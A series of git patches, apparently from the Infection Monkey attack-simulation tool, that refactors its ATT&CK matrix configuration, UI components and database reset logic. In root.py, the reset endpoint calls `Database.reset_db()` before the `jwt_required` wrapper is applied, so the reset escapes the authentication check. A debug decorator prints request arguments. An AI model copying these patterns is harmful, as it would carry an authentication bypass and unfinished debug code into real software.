React.PureComponent { componentDidUpdate(prevProps) { if (this.props.checked !== prevProps.checked) { @@ -20,7 +20,7 @@ class Checkbox extends React.PureComponent { this.ping = this.ping.bind(this); this.composeStateClasses = this.composeStateClasses.bind(this); } - + toggleChecked() { if (this.state.isAnimating) return false; this.setState({ @@ -63,4 +63,4 @@ class Checkbox extends React.PureComponent { } } -export default Checkbox; +export default CheckboxComponent; From 790c8fd0799a55cdffb8a2ba10244d5bcba615f2 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 24 Apr 2019 14:16:38 +0300 Subject: [PATCH 053/598] Added PyCharm ignore inspection to PyInstaller import and updated gitignore --- .gitignore | 3 ++- monkey/infection_monkey/main.py | 8 +++++--- 2 files changed, 7 insertions(+), 4 deletions(-) diff --git a/.gitignore b/.gitignore index 63de45992..772829801 100644 --- a/.gitignore +++ b/.gitignore @@ -82,4 +82,5 @@ MonkeyZoo/* !MonkeyZoo/config.tf !MonkeyZoo/MonkeyZooDocs.pdf - +# vim swap files +*.swp diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index d12414eae..6e06d4aa6 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -13,7 +13,8 @@ from infection_monkey.config import WormConfiguration, EXTERNAL_CONFIG_FILE from infection_monkey.dropper import MonkeyDrops from infection_monkey.model import MONKEY_ARG, DROPPER_ARG from infection_monkey.monkey import InfectionMonkey -import infection_monkey.post_breach # dummy import for pyinstaller +# noinspection PyUnresolvedReferences +import infection_monkey.post_breach # dummy import for pyinstaller __author__ = 'itamar' @@ -23,7 +24,7 @@ LOG_CONFIG = {'version': 1, 'disable_existing_loggers': False, 'formatters': {'standard': { 'format': '%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'}, - }, + }, 'handlers': {'console': {'class': 'logging.StreamHandler', 'level': 'DEBUG', 'formatter': 'standard'}, @@ -70,7 +71,8 @@ def main(): print("Loaded Configuration: %r" % WormConfiguration.as_dict()) # Make sure we're not in a machine that has the kill file - kill_path = os.path.expandvars(WormConfiguration.kill_file_path_windows) if sys.platform == "win32" else WormConfiguration.kill_file_path_linux + kill_path = os.path.expandvars( + WormConfiguration.kill_file_path_windows) if sys.platform == "win32" else WormConfiguration.kill_file_path_linux if os.path.exists(kill_path): print("Kill path found, finished run") return True From 1a5ebf8dbdf52f18f8abf37994dfb7a2dad40387 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 24 Apr 2019 15:16:28 +0300 Subject: [PATCH 054/598] chmod +x install_mongo --- monkey/monkey_island/linux/install_mongo.sh | 0 1 file changed, 0 insertions(+), 0 deletions(-) mode change 100644 => 100755 monkey/monkey_island/linux/install_mongo.sh diff --git a/monkey/monkey_island/linux/install_mongo.sh b/monkey/monkey_island/linux/install_mongo.sh old mode 100644 new mode 100755 From 99bc61f9d965d955700b6887bbe67dea3f8769bf Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 25 Apr 2019 14:45:37 +0300 Subject: [PATCH 055/598] Added a decorator in which the "timer start" for the timeout can be implemented --- monkey/infection_monkey/dropper.py | 1 - monkey/infection_monkey/main.py | 1 + monkey/monkey_island/cc/resources/monkey.py | 6 +++-- .../cc/services/monkey_timeout.py | 22 +++++++++++++++++++ 4 files changed, 27 insertions(+), 3 deletions(-) create mode 100644 monkey/monkey_island/cc/services/monkey_timeout.py diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index 02bd649c2..cc065a745 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -51,7 +51,6 @@ class MonkeyDrops(object): LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config)) def start(self): - if self._config['destination_path'] is None: LOG.error("No destination path specified") return False diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index 6e06d4aa6..b8e292243 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -98,6 +98,7 @@ def main(): except OSError: pass LOG_CONFIG['handlers']['file']['filename'] = log_path + # noinspection PyUnresolvedReferences LOG_CONFIG['root']['handlers'].append('file') else: del LOG_CONFIG['handlers']['file'] diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py index 7eb7ecc69..057ebf149 100644 --- a/monkey/monkey_island/cc/resources/monkey.py +++ b/monkey/monkey_island/cc/resources/monkey.py @@ -2,11 +2,12 @@ import json from datetime import datetime import dateutil.parser -from flask import request import flask_restful +from flask import request from monkey_island.cc.database import mongo from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.monkey_timeout import start_timer_decorator from monkey_island.cc.services.node import NodeService __author__ = 'Barak' @@ -17,6 +18,7 @@ __author__ = 'Barak' class Monkey(flask_restful.Resource): # Used by monkey. can't secure. + @start_timer_decorator def get(self, guid=None, **kw): NodeService.update_dead_monkeys() # refresh monkeys status if not guid: @@ -88,7 +90,7 @@ class Monkey(flask_restful.Resource): parent_to_add = (exploit_telem[0].get('monkey_guid'), exploit_telem[0].get('data').get('exploiter')) else: parent_to_add = (parent, None) - elif (not parent or parent == monkey_json.get('guid')) and 'ip_addresses' in monkey_json: + elif (not parent or parent == monkey_json.get('guid')) and 'ip_addresses' in monkey_json: exploit_telem = [x for x in mongo.db.telemetry.find({'telem_type': {'$eq': 'exploit'}, 'data.result': {'$eq': True}, 'data.machine.ip_addr': {'$in': monkey_json['ip_addresses']}})] diff --git a/monkey/monkey_island/cc/services/monkey_timeout.py b/monkey/monkey_island/cc/services/monkey_timeout.py new file mode 100644 index 000000000..2c3bf4637 --- /dev/null +++ b/monkey/monkey_island/cc/services/monkey_timeout.py @@ -0,0 +1,22 @@ +import functools +import pprint + + +def start_timer_decorator(func): + @functools.wraps(func) + def wrapper_decorator(*args, **kwargs): + print("ib4get - start the timer, folks. \nargs:") + pprint.pprint(args) + print("kwargs: ") + pprint.pprint(kwargs) + value = func(*args, **kwargs) + print("after party woohoo") + + try: + print("Starting timer on " + kwargs['guid']) + except KeyError as e: + print("NO GUID AVAILABLE") + + return value + + return wrapper_decorator From cdd327073075a77ca9f7b6f51de112e160f2bb32 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 2 May 2019 17:11:30 +0300 Subject: [PATCH 056/598] Attack configuration page moved into island configuration --- monkey/monkey_island/cc/app.py | 4 +- .../cc/resources/attack_config.py | 12 +- .../cc/resources/attack_telem.py | 4 +- monkey/monkey_island/cc/resources/root.py | 17 +- .../cc/services/attack/attack_config.py | 284 +++++++++--------- .../cc/services/attack/attack_telem.py | 21 +- monkey/monkey_island/cc/services/database.py | 25 ++ .../cc/ui/src/components/Main.js | 3 - .../src/components/attack/MatrixComponent.js | 199 ++++-------- .../cc/ui/src/components/pages/AttackPage.js | 66 ---- .../ui/src/components/pages/ConfigurePage.js | 242 +++++++++++---- .../{checkbox.js => Checkbox.js} | 19 +- monkey/monkey_island/cc/ui/src/styles/App.css | 4 + 13 files changed, 469 insertions(+), 431 deletions(-) create mode 100644 monkey/monkey_island/cc/services/database.py delete mode 100644 monkey/monkey_island/cc/ui/src/components/pages/AttackPage.js rename monkey/monkey_island/cc/ui/src/components/ui-components/{checkbox.js => Checkbox.js} (67%) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index b7461bcca..243f1f71a 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -28,7 +28,7 @@ from monkey_island.cc.resources.root import Root from monkey_island.cc.resources.telemetry import Telemetry from monkey_island.cc.resources.telemetry_feed import TelemetryFeed from monkey_island.cc.resources.pba_file_download import PBAFileDownload -from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.database import Database from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.resources.pba_file_upload import FileUpload from monkey_island.cc.resources.attack_telem import AttackTelem @@ -100,7 +100,7 @@ def init_app(mongo_url): with app.app_context(): database.init() - ConfigService.init_config() + Database.reset_db() app.add_url_rule('/', 'serve_home', serve_home) app.add_url_rule('/', 'serve_static_file', serve_static_file) diff --git a/monkey/monkey_island/cc/resources/attack_config.py b/monkey/monkey_island/cc/resources/attack_config.py index ad94f209e..da7651f24 100644 --- a/monkey/monkey_island/cc/resources/attack_config.py +++ b/monkey/monkey_island/cc/resources/attack_config.py @@ -3,7 +3,7 @@ import json from flask import jsonify, request from monkey_island.cc.auth import jwt_required -import monkey_island.cc.services.attack.attack_config as attack_config +from monkey_island.cc.services.attack.attack_config import AttackConfig __author__ = "VakarisZ" @@ -11,7 +11,7 @@ __author__ = "VakarisZ" class AttackConfiguration(flask_restful.Resource): @jwt_required() def get(self): - return jsonify(configuration=attack_config.get_config()['properties']) + return jsonify(configuration=AttackConfig.get_config()['properties']) @jwt_required() def post(self): @@ -21,10 +21,10 @@ class AttackConfiguration(flask_restful.Resource): """ config_json = json.loads(request.data) if 'reset_attack_matrix' in config_json: - attack_config.reset_config() - return jsonify(configuration=attack_config.get_config()['properties']) + AttackConfig.reset_config() + return jsonify(configuration=AttackConfig.get_config()['properties']) else: - attack_config.update_config({'properties': json.loads(request.data)}) - attack_config.apply_to_monkey_config() + AttackConfig.update_config({'properties': json.loads(request.data)}) + AttackConfig.apply_to_monkey_config() return {} diff --git a/monkey/monkey_island/cc/resources/attack_telem.py b/monkey/monkey_island/cc/resources/attack_telem.py index bef0a8585..8c30bb13c 100644 --- a/monkey/monkey_island/cc/resources/attack_telem.py +++ b/monkey/monkey_island/cc/resources/attack_telem.py @@ -1,7 +1,7 @@ import flask_restful from flask import request import json -from monkey_island.cc.services.attack.attack_telem import set_results +from monkey_island.cc.services.attack.attack_telem import AttackTelemService import logging __author__ = 'VakarisZ' @@ -20,5 +20,5 @@ class AttackTelem(flask_restful.Resource): :param technique: Technique ID, e.g. T1111 """ data = json.loads(request.data) - set_results(technique, data) + AttackTelemService.set_results(technique, data) return {} diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index cd2f7e6a5..b180afd1b 100644 --- a/monkey/monkey_island/cc/resources/root.py +++ b/monkey/monkey_island/cc/resources/root.py @@ -6,12 +6,10 @@ from flask import request, make_response, jsonify from monkey_island.cc.auth import jwt_required from monkey_island.cc.database import mongo -from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.attack.attack_config import reset_config as reset_attack_config from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.report import ReportService from monkey_island.cc.utils import local_ip_addresses -from monkey_island.cc.services.post_breach_files import remove_PBA_files +from monkey_island.cc.services.database import Database __author__ = 'Barak' @@ -27,7 +25,7 @@ class Root(flask_restful.Resource): if not action: return Root.get_server_info() elif action == "reset": - return Root.reset_db() + return jwt_required()(Database.reset_db()) elif action == "killall": return Root.kill_all() elif action == "is-up": @@ -41,17 +39,6 @@ class Root(flask_restful.Resource): return jsonify(ip_addresses=local_ip_addresses(), mongo=str(mongo.db), completed_steps=Root.get_completed_steps()) - @staticmethod - @jwt_required() - def reset_db(): - remove_PBA_files() - # We can't drop system collections. - [mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')] - ConfigService.init_config() - reset_attack_config() - logger.info('DB was reset') - return jsonify(status='OK') - @staticmethod @jwt_required() def kill_all(): diff --git a/monkey/monkey_island/cc/services/attack/attack_config.py b/monkey/monkey_island/cc/services/attack/attack_config.py index d0a08b316..f4f112e42 100644 --- a/monkey/monkey_island/cc/services/attack/attack_config.py +++ b/monkey/monkey_island/cc/services/attack/attack_config.py @@ -9,154 +9,160 @@ __author__ = "VakarisZ" logger = logging.getLogger(__name__) -def get_config(): - config = mongo.db.attack.find_one({'name': 'newconfig'}) or reset_config() - return config +class AttackConfig(object): + def __init__(self): + pass + @staticmethod + def get_config(): + config = mongo.db.attack.find_one({'name': 'newconfig'}) + return config -def get_config_schema(): - return SCHEMA + @staticmethod + def get_config_schema(): + return SCHEMA + @staticmethod + def reset_config(): + AttackConfig.update_config(SCHEMA) -def reset_config(): - update_config(SCHEMA) + @staticmethod + def update_config(config_json): + mongo.db.attack.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True) + return True + @staticmethod + def apply_to_monkey_config(): + """ + Applies ATT&CK matrix to the monkey configuration + :return: + """ + attack_techniques = AttackConfig.get_technique_values() + monkey_config = ConfigService.get_config(False, True, True) + monkey_schema = ConfigService.get_config_schema() + AttackConfig.set_arrays(attack_techniques, monkey_config, monkey_schema) + AttackConfig.set_booleans(attack_techniques, monkey_config, monkey_schema) + ConfigService.update_config(monkey_config, True) -def update_config(config_json): - mongo.db.attack.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True) - return True + @staticmethod + def set_arrays(attack_techniques, monkey_config, monkey_schema): + """ + Sets exploiters/scanners/PBAs and other array type fields in monkey's config according to ATT&CK matrix + :param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...} + :param monkey_config: Monkey island's configuration + :param monkey_schema: Monkey configuration schema + """ + for key, definition in monkey_schema['definitions'].items(): + for array_field in definition['anyOf']: + # Check if current array field has attack_techniques assigned to it + if 'attack_techniques' not in array_field: + continue + try: + should_remove = not AttackConfig.should_enable_field(array_field['attack_techniques'], attack_techniques) + except KeyError: + # Monkey schema field contains not yet implemented technique + continue + # If exploiter's attack technique is disabled, disable the exploiter/scanner/PBA + AttackConfig.r_alter_array(monkey_config, key, array_field['enum'][0], remove=should_remove) + @staticmethod + def set_booleans(attack_techniques, monkey_config, monkey_schema): + """ + Sets boolean type fields, like "should use mimikatz?" in monkey's config according to ATT&CK matrix + :param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...} + :param monkey_config: Monkey island's configuration + :param monkey_schema: Monkey configuration schema + """ + for key, value in monkey_schema['properties'].items(): + AttackConfig.r_set_booleans([key], value, attack_techniques, monkey_config) -def apply_to_monkey_config(): - """ - Applies ATT&CK matrix to the monkey configuration - :return: - """ - attack_techniques = get_technique_values() - monkey_config = ConfigService.get_config(False, True, True) - monkey_schema = ConfigService.get_config_schema() - set_arrays(attack_techniques, monkey_config, monkey_schema) - set_booleans(attack_techniques, monkey_config, monkey_schema) - ConfigService.update_config(monkey_config, True) + @staticmethod + def r_set_booleans(path, value, attack_techniques, monkey_config): + """ + Recursively walks trough monkey configuration (DFS) to find which boolean fields needs to be set and sets them + according to ATT&CK matrix. + :param path: Property names that leads to current value. E.g. ['monkey', 'system_info', 'should_use_mimikatz'] + :param value: Value of config property + :param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...} + :param monkey_config: Monkey island's configuration + """ + if isinstance(value, dict): + dictionary = {} + # If 'value' is a boolean value that should be set: + if 'type' in value and value['type'] == 'boolean' and 'attack_techniques' in value: + try: + AttackConfig.set_bool_conf_val(path, + AttackConfig.should_enable_field(value['attack_techniques'], + attack_techniques), + monkey_config) + except KeyError: + # Monkey schema has a technique that is not yet implemented + pass + # If 'value' is dict, we go over each of it's fields to search for booleans + elif 'properties' in value: + dictionary = value['properties'] + else: + dictionary = value + for key, item in dictionary.items(): + path.append(key) + AttackConfig.r_set_booleans(path, item, attack_techniques, monkey_config) + # Method enumerated everything in current path, goes back a level. + del path[-1] + @staticmethod + def set_bool_conf_val(path, val, monkey_config): + """ + Changes monkey's configuration by setting one of its boolean fields value + :param path: Path to boolean value in monkey's configuration. E.g. ['monkey', 'system_info', 'should_use_mimikatz'] + :param val: Boolean + :param monkey_config: Monkey's configuration + """ + util.set(monkey_config, '/'.join(path), val) -def set_arrays(attack_techniques, monkey_config, monkey_schema): - """ - Sets exploiters/scanners/PBAs and other array type fields in monkey's config according to ATT&CK matrix - :param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...} - :param monkey_config: Monkey island's configuration - :param monkey_schema: Monkey configuration schema - """ - for key, definition in monkey_schema['definitions'].items(): - for array_field in definition['anyOf']: - # Check if current array field has attack_techniques assigned to it - if 'attack_techniques' not in array_field: - continue - try: - should_remove = not should_enable_field(array_field['attack_techniques'], attack_techniques) - except KeyError: - # Monkey schema field contains not yet implemented technique - continue - # If exploiter's attack technique is disabled, disable the exploiter/scanner/PBA - r_alter_array(monkey_config, key, array_field['enum'][0], remove=should_remove) + @staticmethod + def should_enable_field(field_techniques, users_techniques): + """ + Determines whether a single config field should be enabled or not. + :param field_techniques: ATT&CK techniques that field uses + :param users_techniques: ATT&CK techniques that user chose + :return: True, if user enabled all techniques used by the field, false otherwise + """ + # Method can't decide field value because it has no attack techniques assign to it. + if not field_techniques: + raise KeyError + for technique in field_techniques: + if not users_techniques[technique]: + return False + return True + @staticmethod + def r_alter_array(config_value, array_name, field, remove=True): + """ + Recursively searches config (DFS) for array and removes/adds a field. + :param config_value: Some object/value from config + :param array_name: Name of array this method should search + :param field: Field in array that this method should add/remove + :param remove: Removes field from array if true, adds it if false + """ + if isinstance(config_value, dict): + if array_name in config_value and isinstance(config_value[array_name], list): + if remove and field in config_value[array_name]: + config_value[array_name].remove(field) + elif not remove and field not in config_value[array_name]: + config_value[array_name].append(field) + else: + for prop in config_value.items(): + AttackConfig.r_alter_array(prop[1], array_name, field, remove) -def set_booleans(attack_techniques, monkey_config, monkey_schema): - """ - Sets boolean type fields, like "should use mimikatz?" in monkey's config according to ATT&CK matrix - :param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...} - :param monkey_config: Monkey island's configuration - :param monkey_schema: Monkey configuration schema - """ - for key, value in monkey_schema['properties'].items(): - r_set_booleans([key], value, attack_techniques, monkey_config) - - -def r_set_booleans(path, value, attack_techniques, monkey_config): - """ - Recursively walks trough monkey configuration (DFS) to find which boolean fields needs to be set and sets them - according to ATT&CK matrix. - :param path: Property names that leads to current value. E.g. ['monkey', 'system_info', 'should_use_mimikatz'] - :param value: Value of config property - :param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...} - :param monkey_config: Monkey island's configuration - """ - if isinstance(value, dict): - dictionary = {} - # If 'value' is a boolean value that should be set: - if 'type' in value and value['type'] == 'boolean' and 'attack_techniques' in value: - try: - set_bool_conf_val(path, - should_enable_field(value['attack_techniques'], attack_techniques), - monkey_config) - except KeyError: - # Monkey schema has a technique that is not yet implemented - pass - # If 'value' is dict, we go over each of it's fields to search for booleans - elif 'properties' in value: - dictionary = value['properties'] - else: - dictionary = value - for key, item in dictionary.items(): - path.append(key) - r_set_booleans(path, item, attack_techniques, monkey_config) - # Method enumerated everything in current path, goes back a level. - del path[-1] - - -def set_bool_conf_val(path, val, monkey_config): - """ - Changes monkey's configuration by setting one of its boolean fields value - :param path: Path to boolean value in monkey's configuration. E.g. ['monkey', 'system_info', 'should_use_mimikatz'] - :param val: Boolean - :param monkey_config: Monkey's configuration - """ - util.set(monkey_config, '/'.join(path), val) - - -def should_enable_field(field_techniques, users_techniques): - """ - Determines whether a single config field should be enabled or not. - :param field_techniques: ATT&CK techniques that field uses - :param users_techniques: ATT&CK techniques that user chose - :return: True, if user enabled all techniques used by the field, false otherwise - """ - # Method can't decide field value because it has no attack techniques assign to it. - if not field_techniques: - raise KeyError - for technique in field_techniques: - if not users_techniques[technique]: - return False - return True - - -def r_alter_array(config_value, array_name, field, remove=True): - """ - Recursively searches config (DFS) for array and removes/adds a field. - :param config_value: Some object/value from config - :param array_name: Name of array this method should search - :param field: Field in array that this method should add/remove - :param remove: Removes field from array if true, adds it if false - """ - if isinstance(config_value, dict): - if array_name in config_value and isinstance(config_value[array_name], list): - if remove and field in config_value[array_name]: - config_value[array_name].remove(field) - elif not remove and field not in config_value[array_name]: - config_value[array_name].append(field) - else: - for prop in config_value.items(): - r_alter_array(prop[1], array_name, field, remove) - - -def get_technique_values(): - """ - Parses ATT&CK config into a dict of techniques and corresponding values. - :return: Dictionary of techniques. Format: {"T1110": True, "T1075": False, ...} - """ - attack_config = get_config() - techniques = {} - for type_name, attack_type in attack_config['properties'].items(): - for key, technique in attack_type['properties'].items(): - techniques[key] = technique['value'] - return techniques + @staticmethod + def get_technique_values(): + """ + Parses ATT&CK config into a dict of techniques and corresponding values. + :return: Dictionary of techniques. Format: {"T1110": True, "T1075": False, ...} + """ + attack_config = AttackConfig.get_config() + techniques = {} + for type_name, attack_type in attack_config['properties'].items(): + for key, technique in attack_type['properties'].items(): + techniques[key] = technique['value'] + return techniques diff --git a/monkey/monkey_island/cc/services/attack/attack_telem.py b/monkey/monkey_island/cc/services/attack/attack_telem.py index a4e219270..d1255e4e9 100644 --- a/monkey/monkey_island/cc/services/attack/attack_telem.py +++ b/monkey/monkey_island/cc/services/attack/attack_telem.py @@ -9,11 +9,16 @@ __author__ = "VakarisZ" logger = logging.getLogger(__name__) -def set_results(technique, data): - """ - Adds ATT&CK technique results(telemetry) to the database - :param technique: technique ID string e.g. T1110 - :param data: Data, relevant to the technique - """ - data.update({'technique': technique}) - mongo.db.attack_results.insert(data) +class AttackTelemService(object): + def __init__(self): + pass + + @staticmethod + def set_results(technique, data): + """ + Adds ATT&CK technique results(telemetry) to the database + :param technique: technique ID string e.g. T1110 + :param data: Data, relevant to the technique + """ + data.update({'technique': technique}) + mongo.db.attack_results.insert(data) diff --git a/monkey/monkey_island/cc/services/database.py b/monkey/monkey_island/cc/services/database.py new file mode 100644 index 000000000..ead2b2058 --- /dev/null +++ b/monkey/monkey_island/cc/services/database.py @@ -0,0 +1,25 @@ +import logging + +from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.attack.attack_config import AttackConfig +from monkey_island.cc.services.post_breach_files import remove_PBA_files +from flask import jsonify +from monkey_island.cc.database import mongo + + +logger = logging.getLogger(__name__) + + +class Database(object): + def __init__(self): + pass + + @staticmethod + def reset_db(): + remove_PBA_files() + # We can't drop system collections. + [mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')] + ConfigService.init_config() + AttackConfig.reset_config() + logger.info('DB was reset') + return jsonify(status='OK') diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index 291cfde58..da8e59113 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -14,7 +14,6 @@ import ReportPage from 'components/pages/ReportPage'; import LicensePage from 'components/pages/LicensePage'; import AuthComponent from 'components/AuthComponent'; import LoginPageComponent from 'components/pages/LoginPage'; -import AttckPage from 'components/pages/AttackPage' import 'normalize.css/normalize.css'; import 'react-data-components/css/table-twbs.css'; @@ -162,7 +161,6 @@ class AppComponent extends AuthComponent {
        -
      • ATT&CK Configuration
      • Configuration
      • Log
      @@ -188,7 +186,6 @@ class AppComponent extends AuthComponent { {this.renderRoute('/start-over', )} {this.renderRoute('/report', )} {this.renderRoute('/license', )} - {this.renderRoute('/attack', )} diff --git a/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js b/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js index fa25307db..1df65a50e 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js @@ -1,52 +1,52 @@ import React from 'react'; -import Checkbox from '../ui-components/checkbox' +import Checkbox from '../ui-components/Checkbox' import Tooltip from 'react-tooltip-lite' import AuthComponent from '../AuthComponent'; import ReactTable from "react-table"; import 'filepond/dist/filepond.min.css'; import '../../styles/Tooltip.scss'; - - -// Finds which attack type has most techniques and returns that number -let findMaxTechniques = function (data){ - let maxLen = 0; - data.forEach(function(techType) { - if (Object.keys(techType.properties).length > maxLen){ - maxLen = Object.keys(techType.properties).length - } - }); - return maxLen -}; - -// Parses ATT&CK config schema into data suitable for react-table (ATT&CK matrix) -let parseTechniques = function (data, maxLen) { - let techniques = []; - // Create rows with attack techniques - for (let i = 0; i < maxLen; i++) { - let row = {}; - data.forEach(function(techType){ - let rowColumn = {}; - rowColumn.techName = techType.title; - - if (i <= Object.keys(techType.properties).length) { - rowColumn.technique = Object.values(techType.properties)[i]; - if (rowColumn.technique){ - rowColumn.technique.name = Object.keys(techType.properties)[i] - } - } else { - rowColumn.technique = null - } - row[rowColumn.techName] = rowColumn - }); - techniques.push(row) - } - return techniques; -}; +import {Col} from "react-bootstrap"; class MatrixComponent extends AuthComponent { constructor(props) { super(props); - this.state = this.getStateFromConfig(this.props.configuration, 'none'); + this.state = {lastAction: 'none'} + }; + + // Finds which attack type has most techniques and returns that number + static findMaxTechniques(data){ + let maxLen = 0; + data.forEach(function(techType) { + if (Object.keys(techType.properties).length > maxLen){ + maxLen = Object.keys(techType.properties).length + } + }); + return maxLen + }; + + // Parses ATT&CK config schema into data suitable for react-table (ATT&CK matrix) + static parseTechniques (data, maxLen) { + let techniques = []; + // Create rows with attack techniques + for (let i = 0; i < maxLen; i++) { + let row = {}; + data.forEach(function(techType){ + let rowColumn = {}; + rowColumn.techName = techType.title; + + if (i <= Object.keys(techType.properties).length) { + rowColumn.technique = Object.values(techType.properties)[i]; + if (rowColumn.technique){ + rowColumn.technique.name = Object.keys(techType.properties)[i] + } + } else { + rowColumn.technique = null + } + row[rowColumn.techName] = rowColumn + }); + techniques.push(row) + } + return techniques; }; getColumns(matrixData) { @@ -68,36 +68,13 @@ class MatrixComponent extends AuthComponent { + changeHandler={this.props.change}> {technique.title}
      ) } }; - onSubmit = () => { - this.authFetch('/api/attack', - { - method: 'POST', - headers: {'Content-Type': 'application/json'}, - body: JSON.stringify(this.state.configData) - }) - .then(res => { - if (!res.ok) - { - throw Error() - } - return res; - }).then( - this.setState({ - lastAction: 'saved' - }) - ).catch(error => { - console.log('bad configuration'); - this.setState({lastAction: 'invalid_configuration'}); - }); - }; - resetConfig = () => { this.authFetch('/api/attack', { @@ -111,82 +88,38 @@ class MatrixComponent extends AuthComponent { }); }; - // Updates state based on values in config supplied. - updateStateFromConfig = (config, lastAction = '') => { - this.setState(this.getStateFromConfig(config, lastAction)); - }; - - getStateFromConfig = (config, lastAction) => { + getTableData = (config) => { let configCopy = JSON.parse(JSON.stringify(config)); - let maxTechniques = findMaxTechniques(Object.values(configCopy)); - let matrixTableData = parseTechniques(Object.values(configCopy), maxTechniques); + let maxTechniques = MatrixComponent.findMaxTechniques(Object.values(configCopy)); + let matrixTableData = MatrixComponent.parseTechniques(Object.values(configCopy), maxTechniques); let columns = this.getColumns(matrixTableData); - return { - lastAction: lastAction, - configData: config, - maxTechniques: maxTechniques, - matrixTableData: matrixTableData, - columns: columns - }; - }; - - // Handles change in technique, when user toggles it - handleTechniqueChange = (technique, value, mapped=false) => { - // Change value on configuration - Object.entries(this.state.configData).forEach(techType => { - if(techType[1].properties.hasOwnProperty(technique)){ - let tempMatrix = this.state.configData; - tempMatrix[techType[0]].properties[technique].value = value; - // Toggle all mapped techniques - if (! mapped && tempMatrix[techType[0]].properties[technique].hasOwnProperty('depends_on')){ - tempMatrix[techType[0]].properties[technique].depends_on.forEach(mappedTechnique => { - this.handleTechniqueChange(mappedTechnique, value, true) - }) - } - this.updateStateFromConfig(tempMatrix); - } - }); - + return {'columns': columns, 'matrixTableData': matrixTableData, 'maxTechniques': maxTechniques} }; render() { + let tableData = this.getTableData(this.props.configuration); return ( -
      - - -
      - { this.state.lastAction === 'reset' ? -
      - - Matrix reset to default. -
      - : ''} - { this.state.lastAction === 'saved' ? -
      - - Matrix applied to configuration. -
      - : ''} - { this.state.lastAction === 'invalid_configuration' ? -
      - - An invalid matrix configuration supplied, check selected fields. -
      - : ''} -
      -
      - - -
      - +
      + +
      + +
      ); } } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/AttackPage.js b/monkey/monkey_island/cc/ui/src/components/pages/AttackPage.js deleted file mode 100644 index d0db2d1c4..000000000 --- a/monkey/monkey_island/cc/ui/src/components/pages/AttackPage.js +++ /dev/null @@ -1,66 +0,0 @@ -import React from 'react'; -import AuthComponent from '../AuthComponent'; -import 'filepond/dist/filepond.min.css'; -import MatrixComponent from '../attack/MatrixComponent' -import {Col} from "react-bootstrap"; -import '../../styles/Checkbox.scss' - -class AttackComponent extends AuthComponent { - constructor(props) { - super(props); - this.currentSection = 'ATT&CK matrix'; - this.currentFormData = {}; - this.sectionsOrder = ['ATT&CK matrix']; - // set schema from server - this.state = { - configuration: {}, - sections: [], - selectedSection: 'ATT&CK matrix', - }; - } - - componentDidMount() { - this.authFetch('/api/attack') - .then(res => res.json()) - .then(res => { - let sections = []; - for (let sectionKey of this.sectionsOrder) { - sections.push({key: sectionKey, title: res.configuration.title}); - } - this.setState({ - configuration: res.configuration, - sections: sections, - selectedSection: 'ATT&CK matrix' - }); - }); - } - - render() { - let content; - if (Object.keys(this.state.configuration).length === 0) { - content = (

      Fetching configuration...

      ); - } else { - content = ( -
      - - -
      ); - } - return
      {content}
